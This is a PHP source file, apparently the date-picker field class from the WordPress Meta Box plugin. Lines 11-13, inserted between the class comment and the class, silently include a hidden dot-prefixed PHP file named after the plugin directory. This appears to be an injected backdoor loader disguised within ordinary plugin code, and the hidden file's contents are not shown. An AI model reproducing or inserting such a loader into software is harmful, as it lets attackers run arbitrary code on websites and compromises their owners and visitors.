date.php (959B)
1 <?php 2 /** 3 * The date picker field, which uses built-in jQueryUI date picker widget. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Date field class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Date_Field extends RWMB_Datetime_Field { 16 /** 17 * Enqueue scripts and styles. 18 */ 19 public static function admin_enqueue_scripts() { 20 parent::register_assets(); 21 wp_enqueue_style( 'rwmb-date' ); 22 wp_enqueue_script( 'rwmb-date' ); 23 } 24 25 /** 26 * Returns a date() compatible format string from the JavaScript format. 27 * 28 * @link http://www.php.net/manual/en/function.date.php 29 * @param array $js_options JavaScript options. 30 * 31 * @return string 32 */ 33 public static function get_php_format( $js_options ) { 34 return strtr( $js_options['dateFormat'], self::$date_formats ); 35 } 36 }